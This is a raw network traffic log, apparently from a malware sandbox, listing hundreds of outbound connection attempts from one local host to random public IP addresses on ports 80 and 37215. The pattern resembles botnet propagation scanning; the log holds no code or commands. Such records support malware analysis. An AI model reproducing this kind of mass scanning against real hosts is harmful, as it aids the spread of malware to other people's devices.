Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	43.123.82.164
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	196.14.251.246
Dec 3, 2024 22:16:47.358597040 CET	37707	80	192.168.2.23	47.9.73.140
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	77.97.185.44
Dec 3, 2024 22:16:47.358589888 CET	37707	80	192.168.2.23	201.157.7.217
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	119.42.27.227
Dec 3, 2024 22:16:47.358589888 CET	37707	80	192.168.2.23	161.130.138.205
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	124.136.176.128
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	153.57.202.221
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	94.22.99.55
Dec 3, 2024 22:16:47.358597040 CET	37707	80	192.168.2.23	64.120.234.111
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	140.104.13.48
Dec 3, 2024 22:16:47.358589888 CET	37707	80	192.168.2.23	102.30.51.204
Dec 3, 2024 22:16:47.358599901 CET	37707	80	192.168.2.23	2.231.99.239
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	148.2.86.40
Dec 3, 2024 22:16:47.358589888 CET	37707	80	192.168.2.23	12.33.164.65
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	19.151.109.82
Dec 3, 2024 22:16:47.358601093 CET	37707	80	192.168.2.23	40.8.154.32
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	111.32.81.132
Dec 3, 2024 22:16:47.358597040 CET	37707	80	192.168.2.23	41.222.113.192
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	195.61.165.158
Dec 3, 2024 22:16:47.358601093 CET	37707	80	192.168.2.23	68.220.78.10
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	53.152.205.177
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	187.85.247.4
Dec 3, 2024 22:16:47.358601093 CET	37707	80	192.168.2.23	64.5.58.63
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	166.204.35.45
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	18.47.254.248
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	114.72.138.75
Dec 3, 2024 22:16:47.358601093 CET	37707	80	192.168.2.23	105.181.42.169
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	169.179.103.133
Dec 3, 2024 22:16:47.358601093 CET	37707	80	192.168.2.23	38.230.126.80
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	186.34.89.74
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	70.42.173.185
Dec 3, 2024 22:16:47.358597040 CET	37707	80	192.168.2.23	121.226.143.214
Dec 3, 2024 22:16:47.358598948 CET	37707	80	192.168.2.23	197.43.142.79
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	156.151.136.197
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	162.166.70.27
Dec 3, 2024 22:16:47.358601093 CET	37707	80	192.168.2.23	53.116.231.29
Dec 3, 2024 22:16:47.358630896 CET	37707	80	192.168.2.23	31.9.48.151
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	153.234.105.136
Dec 3, 2024 22:16:47.358630896 CET	37707	80	192.168.2.23	52.57.19.191
Dec 3, 2024 22:16:47.358602047 CET	37707	80	192.168.2.23	179.59.219.62
Dec 3, 2024 22:16:47.358630896 CET	37707	80	192.168.2.23	89.42.252.210
Dec 3, 2024 22:16:47.358630896 CET	37707	80	192.168.2.23	106.146.209.154
Dec 3, 2024 22:16:47.358630896 CET	37707	80	192.168.2.23	89.234.179.168
Dec 3, 2024 22:16:47.358630896 CET	37707	80	192.168.2.23	126.3.206.147
Dec 3, 2024 22:16:47.358644962 CET	37707	80	192.168.2.23	205.147.7.178
Dec 3, 2024 22:16:47.358644962 CET	37707	80	192.168.2.23	84.252.109.222
Dec 3, 2024 22:16:47.358644962 CET	37707	80	192.168.2.23	103.94.190.98
Dec 3, 2024 22:16:47.358644962 CET	37707	80	192.168.2.23	171.125.246.114
Dec 3, 2024 22:16:47.358647108 CET	37707	80	192.168.2.23	65.153.84.103
Dec 3, 2024 22:16:47.358644962 CET	37707	80	192.168.2.23	206.30.130.119
Dec 3, 2024 22:16:47.358647108 CET	37707	80	192.168.2.23	5.43.86.129
Dec 3, 2024 22:16:47.358648062 CET	37707	80	192.168.2.23	86.24.54.209
Dec 3, 2024 22:16:47.358647108 CET	37707	80	192.168.2.23	53.206.18.36
Dec 3, 2024 22:16:47.358648062 CET	37707	80	192.168.2.23	210.27.80.98
Dec 3, 2024 22:16:47.358647108 CET	37707	80	192.168.2.23	154.129.233.40
Dec 3, 2024 22:16:47.358648062 CET	37707	80	192.168.2.23	12.229.180.75
Dec 3, 2024 22:16:47.358650923 CET	37707	80	192.168.2.23	76.102.244.27
Dec 3, 2024 22:16:47.358644962 CET	37707	80	192.168.2.23	9.29.189.228
Dec 3, 2024 22:16:47.358650923 CET	37707	80	192.168.2.23	175.119.26.33
Dec 3, 2024 22:16:47.358647108 CET	37707	80	192.168.2.23	218.184.155.243
Dec 3, 2024 22:16:47.358654022 CET	37707	80	192.168.2.23	146.132.255.168
Dec 3, 2024 22:16:47.358647108 CET	37707	80	192.168.2.23	162.68.184.161
Dec 3, 2024 22:16:47.358644962 CET	37707	80	192.168.2.23	43.149.159.217
Dec 3, 2024 22:16:47.358647108 CET	37707	80	192.168.2.23	107.66.235.234
Dec 3, 2024 22:16:47.358644962 CET	37707	80	192.168.2.23	105.81.165.147
Dec 3, 2024 22:16:47.358647108 CET	37707	80	192.168.2.23	125.15.200.103
Dec 3, 2024 22:16:47.358654976 CET	37707	80	192.168.2.23	87.200.44.84
Dec 3, 2024 22:16:47.358650923 CET	37707	80	192.168.2.23	138.153.67.98
Dec 3, 2024 22:16:47.358652115 CET	37707	80	192.168.2.23	202.177.152.169
Dec 3, 2024 22:16:47.358654022 CET	37707	80	192.168.2.23	131.182.55.249
Dec 3, 2024 22:16:47.358654976 CET	37707	80	192.168.2.23	113.8.15.26
Dec 3, 2024 22:16:47.358654022 CET	37707	80	192.168.2.23	50.159.35.27
Dec 3, 2024 22:16:47.358652115 CET	37707	80	192.168.2.23	72.251.162.120
Dec 3, 2024 22:16:47.358650923 CET	37707	80	192.168.2.23	58.132.20.218
Dec 3, 2024 22:16:47.358654022 CET	37707	80	192.168.2.23	17.90.194.126
Dec 3, 2024 22:16:47.358650923 CET	37707	80	192.168.2.23	35.200.29.120
Dec 3, 2024 22:16:47.358654976 CET	37707	80	192.168.2.23	42.83.208.61
Dec 3, 2024 22:16:47.358654022 CET	37707	80	192.168.2.23	188.170.227.249
Dec 3, 2024 22:16:47.358654976 CET	37707	80	192.168.2.23	20.94.73.144
Dec 3, 2024 22:16:47.358666897 CET	37707	80	192.168.2.23	135.224.85.2
Dec 3, 2024 22:16:47.358668089 CET	37707	80	192.168.2.23	189.246.112.255
Dec 3, 2024 22:16:47.358650923 CET	37707	80	192.168.2.23	125.51.195.234
Dec 3, 2024 22:16:47.358652115 CET	37707	80	192.168.2.23	52.101.105.131
Dec 3, 2024 22:16:47.358668089 CET	37707	80	192.168.2.23	200.138.149.151
Dec 3, 2024 22:16:47.358652115 CET	37707	80	192.168.2.23	97.10.136.197
Dec 3, 2024 22:16:47.358654022 CET	37707	80	192.168.2.23	23.153.212.18
Dec 3, 2024 22:16:47.358650923 CET	37707	80	192.168.2.23	41.177.76.35
Dec 3, 2024 22:16:47.358654022 CET	37707	80	192.168.2.23	198.58.10.106
Dec 3, 2024 22:16:47.358652115 CET	37707	80	192.168.2.23	99.7.16.191
Dec 3, 2024 22:16:47.358650923 CET	37707	80	192.168.2.23	14.255.228.175
Dec 3, 2024 22:16:47.358652115 CET	37707	80	192.168.2.23	58.1.106.5
Dec 3, 2024 22:16:47.358654022 CET	37707	80	192.168.2.23	196.247.111.219
Dec 3, 2024 22:16:47.358652115 CET	37707	80	192.168.2.23	65.235.125.117
Dec 3, 2024 22:16:47.358666897 CET	37707	80	192.168.2.23	102.169.172.139
Dec 3, 2024 22:16:47.358652115 CET	37707	80	192.168.2.23	154.163.7.237
Dec 3, 2024 22:16:47.358666897 CET	37707	80	192.168.2.23	156.54.23.110
Dec 3, 2024 22:16:47.358654976 CET	37707	80	192.168.2.23	213.228.148.122
Dec 3, 2024 22:16:47.358654976 CET	37707	80	192.168.2.23	93.80.130.48
Dec 3, 2024 22:16:47.358654976 CET	37707	80	192.168.2.23	203.138.158.237
Dec 3, 2024 22:16:47.358654976 CET	37707	80	192.168.2.23	1.93.41.86
Dec 3, 2024 22:16:47.358668089 CET	37707	80	192.168.2.23	97.41.209.100
Dec 3, 2024 22:16:47.358666897 CET	37707	80	192.168.2.23	191.89.71.0
Dec 3, 2024 22:16:47.358668089 CET	37707	80	192.168.2.23	70.57.230.89
Dec 3, 2024 22:16:47.358666897 CET	37707	80	192.168.2.23	58.111.57.37
Dec 3, 2024 22:16:47.358668089 CET	37707	80	192.168.2.23	44.152.244.191
Dec 3, 2024 22:16:47.358666897 CET	37707	80	192.168.2.23	120.147.152.124
Dec 3, 2024 22:16:47.358668089 CET	37707	80	192.168.2.23	121.166.119.80
Dec 3, 2024 22:16:47.358666897 CET	37707	80	192.168.2.23	47.26.229.42
Dec 3, 2024 22:16:47.358668089 CET	37707	80	192.168.2.23	132.211.44.163
Dec 3, 2024 22:16:47.358666897 CET	37707	80	192.168.2.23	124.13.183.23
Dec 3, 2024 22:16:47.358668089 CET	37707	80	192.168.2.23	131.249.97.240
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	35.37.129.166
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	68.148.176.166
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	149.60.145.53
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	161.4.160.92
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	108.247.94.6
Dec 3, 2024 22:16:47.358692884 CET	37707	80	192.168.2.23	153.60.202.33
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	4.229.183.46
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	159.149.124.92
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	147.30.113.121
Dec 3, 2024 22:16:47.358694077 CET	37707	80	192.168.2.23	86.27.68.243
Dec 3, 2024 22:16:47.358692884 CET	37707	80	192.168.2.23	205.93.20.195
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	168.224.63.233
Dec 3, 2024 22:16:47.358692884 CET	37707	80	192.168.2.23	60.127.74.36
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	62.45.99.189
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	218.50.79.237
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	120.193.81.83
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	159.215.140.4
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	39.177.168.240
Dec 3, 2024 22:16:47.358696938 CET	37707	80	192.168.2.23	187.196.84.164
Dec 3, 2024 22:16:47.358692884 CET	37707	80	192.168.2.23	34.76.162.219
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	197.100.40.145
Dec 3, 2024 22:16:47.358692884 CET	37707	80	192.168.2.23	182.215.250.94
Dec 3, 2024 22:16:47.358696938 CET	37707	80	192.168.2.23	1.149.2.135
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	124.2.58.235
Dec 3, 2024 22:16:47.358692884 CET	37707	80	192.168.2.23	61.95.78.183
Dec 3, 2024 22:16:47.358691931 CET	37707	80	192.168.2.23	108.236.194.234
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	119.4.217.11
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	136.89.134.178
Dec 3, 2024 22:16:47.358705997 CET	37707	80	192.168.2.23	95.60.243.85
Dec 3, 2024 22:16:47.358696938 CET	37707	80	192.168.2.23	25.24.77.28
Dec 3, 2024 22:16:47.358705997 CET	37707	80	192.168.2.23	156.109.239.0
Dec 3, 2024 22:16:47.358696938 CET	37707	80	192.168.2.23	38.185.221.100
Dec 3, 2024 22:16:47.358705997 CET	37707	80	192.168.2.23	205.138.109.139
Dec 3, 2024 22:16:47.358696938 CET	37707	80	192.168.2.23	157.246.113.61
Dec 3, 2024 22:16:47.358694077 CET	37707	80	192.168.2.23	102.91.45.145
Dec 3, 2024 22:16:47.358696938 CET	37707	80	192.168.2.23	169.3.101.83
Dec 3, 2024 22:16:47.358705997 CET	37707	80	192.168.2.23	110.37.22.105
Dec 3, 2024 22:16:47.358696938 CET	37707	80	192.168.2.23	101.68.8.52
Dec 3, 2024 22:16:47.358705997 CET	37707	80	192.168.2.23	81.211.99.156
Dec 3, 2024 22:16:47.358699083 CET	37707	80	192.168.2.23	96.142.139.74
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	49.55.199.87
Dec 3, 2024 22:16:47.358699083 CET	37707	80	192.168.2.23	186.6.197.128
Dec 3, 2024 22:16:47.358694077 CET	37707	80	192.168.2.23	120.231.132.97
Dec 3, 2024 22:16:47.358705997 CET	37707	80	192.168.2.23	122.21.249.145
Dec 3, 2024 22:16:47.358694077 CET	37707	80	192.168.2.23	81.172.18.96
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	208.158.31.128
Dec 3, 2024 22:16:47.358699083 CET	37707	80	192.168.2.23	95.212.234.86
Dec 3, 2024 22:16:47.358694077 CET	37707	80	192.168.2.23	43.179.76.167
Dec 3, 2024 22:16:47.358711958 CET	37707	80	192.168.2.23	108.162.57.220
Dec 3, 2024 22:16:47.358694077 CET	37707	80	192.168.2.23	142.216.118.206
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	118.70.51.253
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	116.16.239.154
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	208.154.177.213
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	134.3.18.213
Dec 3, 2024 22:16:47.358699083 CET	37707	80	192.168.2.23	205.157.236.85
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	93.235.110.162
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	199.153.24.224
Dec 3, 2024 22:16:47.358699083 CET	37707	80	192.168.2.23	43.155.2.244
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	144.72.187.229
Dec 3, 2024 22:16:47.358699083 CET	37707	80	192.168.2.23	4.143.94.227
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	148.53.165.251
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	42.159.11.109
Dec 3, 2024 22:16:47.358705997 CET	37707	80	192.168.2.23	137.85.126.216
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	141.10.193.59
Dec 3, 2024 22:16:47.358699083 CET	37707	80	192.168.2.23	150.147.157.235
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	38.151.132.86
Dec 3, 2024 22:16:47.358694077 CET	37707	80	192.168.2.23	123.133.23.241
Dec 3, 2024 22:16:47.358699083 CET	37707	80	192.168.2.23	97.172.215.155
Dec 3, 2024 22:16:47.358700037 CET	37707	80	192.168.2.23	222.142.197.238
Dec 3, 2024 22:16:47.358694077 CET	37707	80	192.168.2.23	170.207.143.12
Dec 3, 2024 22:16:47.358742952 CET	37707	80	192.168.2.23	203.243.41.87
Dec 3, 2024 22:16:47.358743906 CET	37707	80	192.168.2.23	75.201.10.96
Dec 3, 2024 22:16:47.358745098 CET	37707	80	192.168.2.23	211.101.49.50
Dec 3, 2024 22:16:47.358743906 CET	37707	80	192.168.2.23	91.184.22.132
Dec 3, 2024 22:16:47.358745098 CET	37707	80	192.168.2.23	73.209.70.119
Dec 3, 2024 22:16:47.358743906 CET	37707	80	192.168.2.23	148.63.77.214
Dec 3, 2024 22:16:47.358745098 CET	37707	80	192.168.2.23	187.42.208.48
Dec 3, 2024 22:16:47.358743906 CET	37707	80	192.168.2.23	177.165.88.227
Dec 3, 2024 22:16:47.358745098 CET	37707	80	192.168.2.23	112.133.99.221
Dec 3, 2024 22:16:47.358745098 CET	37707	80	192.168.2.23	137.58.72.40
Dec 3, 2024 22:16:47.375108004 CET	37451	37215	192.168.2.23	197.137.137.132
Dec 3, 2024 22:16:47.375108004 CET	37451	37215	192.168.2.23	156.41.220.188
Dec 3, 2024 22:16:47.375108004 CET	37451	37215	192.168.2.23	156.85.139.94
Dec 3, 2024 22:16:47.375108004 CET	37451	37215	192.168.2.23	197.68.79.114
Dec 3, 2024 22:16:47.375113010 CET	37451	37215	192.168.2.23	156.136.56.225
Dec 3, 2024 22:16:47.375113010 CET	37451	37215	192.168.2.23	156.177.168.3
Dec 3, 2024 22:16:47.375113010 CET	37451	37215	192.168.2.23	41.235.17.197
Dec 3, 2024 22:16:47.375113010 CET	37451	37215	192.168.2.23	156.93.70.228
Dec 3, 2024 22:16:47.375113010 CET	37451	37215	192.168.2.23	41.11.0.234
Dec 3, 2024 22:16:47.375113010 CET	37451	37215	192.168.2.23	41.160.200.44
Dec 3, 2024 22:16:47.375113010 CET	37451	37215	192.168.2.23	41.111.29.9
Dec 3, 2024 22:16:47.375113010 CET	37451	37215	192.168.2.23	41.38.13.19
Dec 3, 2024 22:16:47.375121117 CET	37451	37215	192.168.2.23	41.214.18.170
Dec 3, 2024 22:16:47.375121117 CET	37451	37215	192.168.2.23	156.178.38.171
Dec 3, 2024 22:16:47.375121117 CET	37451	37215	192.168.2.23	41.2.251.163
Dec 3, 2024 22:16:47.375122070 CET	37451	37215	192.168.2.23	197.60.56.212
Dec 3, 2024 22:16:47.375121117 CET	37451	37215	192.168.2.23	197.75.216.139
Dec 3, 2024 22:16:47.375122070 CET	37451	37215	192.168.2.23	197.76.217.167
Dec 3, 2024 22:16:47.375121117 CET	37451	37215	192.168.2.23	197.215.66.33
Dec 3, 2024 22:16:47.375122070 CET	37451	37215	192.168.2.23	197.73.154.213
Dec 3, 2024 22:16:47.375121117 CET	37451	37215	192.168.2.23	197.111.64.194
Dec 3, 2024 22:16:47.375122070 CET	37451	37215	192.168.2.23	41.215.2.167
Dec 3, 2024 22:16:47.375123024 CET	37451	37215	192.168.2.23	41.80.31.51
Dec 3, 2024 22:16:47.375122070 CET	37451	37215	192.168.2.23	41.140.105.246
Dec 3, 2024 22:16:47.375127077 CET	37451	37215	192.168.2.23	197.110.192.85
Dec 3, 2024 22:16:47.375129938 CET	37451	37215	192.168.2.23	41.11.243.197
Dec 3, 2024 22:16:47.375121117 CET	37451	37215	192.168.2.23	197.133.75.214
Dec 3, 2024 22:16:47.375127077 CET	37451	37215	192.168.2.23	156.18.34.98
Dec 3, 2024 22:16:47.375123978 CET	37451	37215	192.168.2.23	156.30.127.208
Dec 3, 2024 22:16:47.375129938 CET	37451	37215	192.168.2.23	156.24.73.189
Dec 3, 2024 22:16:47.375128031 CET	37451	37215	192.168.2.23	156.225.121.118
Dec 3, 2024 22:16:47.375123978 CET	37451	37215	192.168.2.23	197.137.7.244
Dec 3, 2024 22:16:47.375128031 CET	37451	37215	192.168.2.23	41.100.193.213
Dec 3, 2024 22:16:47.375127077 CET	37451	37215	192.168.2.23	41.149.246.182
Dec 3, 2024 22:16:47.375121117 CET	37451	37215	192.168.2.23	156.65.208.80
Dec 3, 2024 22:16:47.375123978 CET	37451	37215	192.168.2.23	41.109.50.159
Dec 3, 2024 22:16:47.375129938 CET	37451	37215	192.168.2.23	156.19.151.44
Dec 3, 2024 22:16:47.375122070 CET	37451	37215	192.168.2.23	41.166.41.23
Dec 3, 2024 22:16:47.375127077 CET	37451	37215	192.168.2.23	197.253.16.203
Dec 3, 2024 22:16:47.375123978 CET	37451	37215	192.168.2.23	197.227.171.4
Dec 3, 2024 22:16:47.375128031 CET	37451	37215	192.168.2.23	156.52.250.233
Dec 3, 2024 22:16:47.375123978 CET	37451	37215	192.168.2.23	41.147.79.32
Dec 3, 2024 22:16:47.375128031 CET	37451	37215	192.168.2.23	197.75.234.52
Dec 3, 2024 22:16:47.375129938 CET	37451	37215	192.168.2.23	156.44.140.205
Dec 3, 2024 22:16:47.375123978 CET	37451	37215	192.168.2.23	41.196.238.184
Dec 3, 2024 22:16:47.375128031 CET	37451	37215	192.168.2.23	41.29.30.221
Dec 3, 2024 22:16:47.375127077 CET	37451	37215	192.168.2.23	41.160.38.128
Dec 3, 2024 22:16:47.375122070 CET	37451	37215	192.168.2.23	156.4.152.193
Dec 3, 2024 22:16:47.375145912 CET	37451	37215	192.168.2.23	156.76.239.133
Dec 3, 2024 22:16:47.375129938 CET	37451	37215	192.168.2.23	197.180.151.150
Dec 3, 2024 22:16:47.375123978 CET	37451	37215	192.168.2.23	156.8.200.231
Dec 3, 2024 22:16:47.375128031 CET	37451	37215	192.168.2.23	156.232.249.201
Dec 3, 2024 22:16:47.375127077 CET	37451	37215	192.168.2.23	197.81.142.146
Dec 3, 2024 22:16:47.375145912 CET	37451	37215	192.168.2.23	41.77.87.126
Dec 3, 2024 22:16:47.375129938 CET	37451	37215	192.168.2.23	156.158.72.158
Dec 3, 2024 22:16:47.375145912 CET	37451	37215	192.168.2.23	41.98.58.176
Dec 3, 2024 22:16:47.375127077 CET	37451	37215	192.168.2.23	41.203.34.133
Dec 3, 2024 22:16:47.375145912 CET	37451	37215	192.168.2.23	41.177.153.89
Dec 3, 2024 22:16:47.375129938 CET	37451	37215	192.168.2.23	41.16.252.240
Dec 3, 2024 22:16:47.375129938 CET	37451	37215	192.168.2.23	197.1.91.16
Dec 3, 2024 22:16:47.375163078 CET	37451	37215	192.168.2.23	197.165.101.193
Dec 3, 2024 22:16:47.375163078 CET	37451	37215	192.168.2.23	156.29.224.119
Dec 3, 2024 22:16:47.375163078 CET	37451	37215	192.168.2.23	41.183.167.87
Dec 3, 2024 22:16:47.375163078 CET	37451	37215	192.168.2.23	156.29.109.235
Dec 3, 2024 22:16:47.375163078 CET	37451	37215	192.168.2.23	197.236.29.32
Dec 3, 2024 22:16:47.375163078 CET	37451	37215	192.168.2.23	197.92.173.204
Dec 3, 2024 22:16:47.375164986 CET	37451	37215	192.168.2.23	156.153.161.59
Dec 3, 2024 22:16:47.375164986 CET	37451	37215	192.168.2.23	197.23.8.53
Dec 3, 2024 22:16:47.375164986 CET	37451	37215	192.168.2.23	41.182.147.143
Dec 3, 2024 22:16:47.375165939 CET	37451	37215	192.168.2.23	197.205.78.191
Dec 3, 2024 22:16:47.375165939 CET	37451	37215	192.168.2.23	41.70.36.246
Dec 3, 2024 22:16:47.375171900 CET	37451	37215	192.168.2.23	41.156.57.69
Dec 3, 2024 22:16:47.375171900 CET	37451	37215	192.168.2.23	156.31.207.85
Dec 3, 2024 22:16:47.375171900 CET	37451	37215	192.168.2.23	41.88.28.29
Dec 3, 2024 22:16:47.375171900 CET	37451	37215	192.168.2.23	156.64.130.29
Dec 3, 2024 22:16:47.375171900 CET	37451	37215	192.168.2.23	41.203.225.210
Dec 3, 2024 22:16:47.375175953 CET	37451	37215	192.168.2.23	197.41.228.72
Dec 3, 2024 22:16:47.375175953 CET	37451	37215	192.168.2.23	197.250.0.186
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	41.221.90.38
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	197.211.30.33
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	41.198.154.220
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	197.216.156.159
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	197.68.20.232
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	156.254.3.219
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	41.36.27.243
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	197.226.161.233
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	41.139.234.154
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	41.207.127.1
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	41.138.9.243
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	41.181.248.55
Dec 3, 2024 22:16:47.375225067 CET	37451	37215	192.168.2.23	197.109.3.247
Dec 3, 2024 22:16:47.375220060 CET	37451	37215	192.168.2.23	41.50.12.183
Dec 3, 2024 22:16:47.375221014 CET	37451	37215	192.168.2.23	41.164.74.54
Dec 3, 2024 22:16:47.375219107 CET	37451	37215	192.168.2.23	156.194.212.14
Dec 3, 2024 22:16:47.375220060 CET	37451	37215	192.168.2.23	156.112.217.178
Dec 3, 2024 22:16:47.375225067 CET	37451	37215	192.168.2.23	197.90.121.142
Dec 3, 2024 22:16:47.375220060 CET	37451	37215	192.168.2.23	197.180.17.109
Dec 3, 2024 22:16:47.375225067 CET	37451	37215	192.168.2.23	197.165.53.72
Dec 3, 2024 22:16:47.375226974 CET	37451	37215	192.168.2.23	197.183.191.211
Dec 3, 2024 22:16:47.375221014 CET	37451	37215	192.168.2.23	41.78.169.72
Dec 3, 2024 22:16:47.375230074 CET	37451	37215	192.168.2.23	197.239.36.233
Dec 3, 2024 22:16:47.375225067 CET	37451	37215	192.168.2.23	156.234.90.203
Dec 3, 2024 22:16:47.375227928 CET	37451	37215	192.168.2.23	41.109.123.140
Dec 3, 2024 22:16:47.375226974 CET	37451	37215	192.168.2.23	156.146.32.110
Dec 3, 2024 22:16:47.375230074 CET	37451	37215	192.168.2.23	156.74.94.136
Dec 3, 2024 22:16:47.375225067 CET	37451	37215	192.168.2.23	197.75.38.59
Dec 3, 2024 22:16:47.375227928 CET	37451	37215	192.168.2.23	41.104.102.144
Dec 3, 2024 22:16:47.375236034 CET	37451	37215	192.168.2.23	197.39.119.141
Dec 3, 2024 22:16:47.375227928 CET	37451	37215	192.168.2.23	197.124.104.253
Dec 3, 2024 22:16:47.375227928 CET	37451	37215	192.168.2.23	41.215.22.109
Dec 3, 2024 22:16:47.375227928 CET	37451	37215	192.168.2.23	41.234.112.82
Dec 3, 2024 22:16:47.375221014 CET	37451	37215	192.168.2.23	41.34.13.177
Dec 3, 2024 22:16:47.375227928 CET	37451	37215	192.168.2.23	156.255.10.156
Dec 3, 2024 22:16:47.375230074 CET	37451	37215	192.168.2.23	156.135.208.56
Dec 3, 2024 22:16:47.375225067 CET	37451	37215	192.168.2.23	41.88.119.144
Dec 3, 2024 22:16:47.375237942 CET	37451	37215	192.168.2.23	156.142.181.32
Dec 3, 2024 22:16:47.375227928 CET	37451	37215	192.168.2.23	156.135.24.134
Dec 3, 2024 22:16:47.375226974 CET	37451	37215	192.168.2.23	197.110.125.117
Dec 3, 2024 22:16:47.375221014 CET	37451	37215	192.168.2.23	41.121.105.81
Dec 3, 2024 22:16:47.375227928 CET	37451	37215	192.168.2.23	41.95.83.248
Dec 3, 2024 22:16:47.375236034 CET	37451	37215	192.168.2.23	41.188.26.76
Dec 3, 2024 22:16:47.375226974 CET	37451	37215	192.168.2.23	41.1.221.144
Dec 3, 2024 22:16:47.375221014 CET	37451	37215	192.168.2.23	156.112.52.222
Dec 3, 2024 22:16:47.375226974 CET	37451	37215	192.168.2.23	197.117.44.222
Dec 3, 2024 22:16:47.375221014 CET	37451	37215	192.168.2.23	41.94.75.63
Dec 3, 2024 22:16:47.375226974 CET	37451	37215	192.168.2.23	41.207.238.43
Dec 3, 2024 22:16:47.375221014 CET	37451	37215	192.168.2.23	156.166.229.120
Dec 3, 2024 22:16:47.375230074 CET	37451	37215	192.168.2.23	156.20.23.231
Dec 3, 2024 22:16:47.375226974 CET	37451	37215	192.168.2.23	197.119.195.239
Dec 3, 2024 22:16:47.375230074 CET	37451	37215	192.168.2.23	41.92.210.185
Dec 3, 2024 22:16:47.375226974 CET	37451	37215	192.168.2.23	197.189.175.100
Dec 3, 2024 22:16:47.375230074 CET	37451	37215	192.168.2.23	156.139.104.115
Dec 3, 2024 22:16:47.375221014 CET	37451	37215	192.168.2.23	197.12.124.187
Dec 3, 2024 22:16:47.375225067 CET	37451	37215	192.168.2.23	156.211.183.206
Dec 3, 2024 22:16:47.375236034 CET	37451	37215	192.168.2.23	197.44.129.49
Dec 3, 2024 22:16:47.375227928 CET	37451	37215	192.168.2.23	156.187.104.191
Dec 3, 2024 22:16:47.375230074 CET	37451	37215	192.168.2.23	197.37.150.248
Dec 3, 2024 22:16:47.375236034 CET	37451	37215	192.168.2.23	41.145.193.117
Dec 3, 2024 22:16:47.375237942 CET	37451	37215	192.168.2.23	156.168.41.34
Dec 3, 2024 22:16:47.375230074 CET	37451	37215	192.168.2.23	197.44.95.173
Dec 3, 2024 22:16:47.375225067 CET	37451	37215	192.168.2.23	41.72.35.121
Dec 3, 2024 22:16:47.375237942 CET	37451	37215	192.168.2.23	41.164.27.156
Dec 3, 2024 22:16:47.375236034 CET	37451	37215	192.168.2.23	197.3.156.141
Dec 3, 2024 22:16:47.375237942 CET	37451	37215	192.168.2.23	156.116.84.85
